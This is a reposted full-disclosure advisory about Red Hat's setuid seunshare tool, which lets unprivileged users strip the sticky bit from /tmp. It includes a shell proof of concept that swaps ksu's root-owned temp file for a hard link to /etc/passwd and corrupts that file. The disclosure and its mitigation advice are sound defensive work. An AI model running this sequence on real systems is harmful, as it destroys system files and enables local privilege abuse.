RedHat Linux – Stickiness of /tmp
from: http://marc.info/?l=full-disclosure&m=129842239022495&w=2 Developers should not rely on the stickiness of /tmp on Red Hat Linux --------------------------------------------------------------------- Recent versions of Red Hat Enterprise Linux and Fedora provide seunshare, a setuid root utility from policycore-utils intended to make new filesystem namespaces available to unprivileged processes for the purpose of sandboxing. The intention is to permit unprivileged users to mount a new temporary directory on /home and /tmp for sandboxed processes, thus preventing access to the contents of the original directories in the event of a compromise. One unintended side effect of making these features available to unprivileged processes is that users can now change how setuid applications perceive /tmp and /home. The purpose of this advisory is to inform developers and system administrators of affected systems that unprivileged users can effectively remove the sticky-bit from the system /tmp directory, and thus relying on the stickiness of /tmp on redhat systems is no longer safe. This advisory is intended for system administrators and developers of Red Hat Linux systems; journalists, end users and other non-technical readers do not need to be concerned. -------------------- Affected Software ------------------------ All known versions of policycore-utils are affected. I discussed the potentially dangerous implications of introducing this change with Red Hat Security in September 2010, but FC14 and RHEL6 still exhibit this behaviour post-launch. -------------------- Consequences ----------------------- A simple example of a common application that is now unsafe is ksu, from the krb5 distribution. ksu creates a temporary file in /tmp, then clears it on authentication failure. This is normally a safe operation, as /tmp is protected by the sticky bit. However, we can use seunshare to interfere with this process. # create a new directory that we control $ mkdir /tmp/seunshare # use seunshare to mount it on /tmp and /home and run our setuid root binary $ seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root &>/dev/null & [1]+ Stopped seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root # we can examine the mounts visible to the process using the /proc interface $ grep /tmp /proc/$(pidof ksu)/mountinfo 66 64 1:1 /tmp/seunshare /tmp # here is the temporary file created by ksu during authentication $ ls -l /tmp/seunshare/ total 4.0K -rw-------. 1 root taviso 35 Feb 18 23:21 krb5cc_0.1 # as we own the directory, and the sticky-bit is not set, we are permitted to # unlink files $ rm -f /tmp/seunshare/krb5cc_0.1 # now we can replace the file with a link $ ln /etc/passwd /tmp/seunshare/krb5cc_0.1 # make ksu authentication fail. $ fg seunshare -v -t /tmp/seunshare/ -h /tmp/seunshare/ -- `which ksu` root And /etc/passwd was damaged, thus breaking the system. ------------------- Credit ----------------------- This bug was discovered by Tavis Ormandy. ------------------- Greetz ----------------------- Thanks to Kees, Hawkes, Dan and Julien for their help. Greetz to everyone in $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/, and all my other elite friends and colleagues. ------------------- Notes ----------------------- Although only an example of damaging a system has been provided, it's reasonable to assume that various applications rely on the stickiness of /tmp to prevent code execution. Administrators are advised to remove the setuid bit from seunshare, or restrict access to it. ------------------- References ----------------------- None. -- ------------------------------------- taviso@cmpxchg8b.com | pgp encrypted mail preferred ------------------------------------------------------- |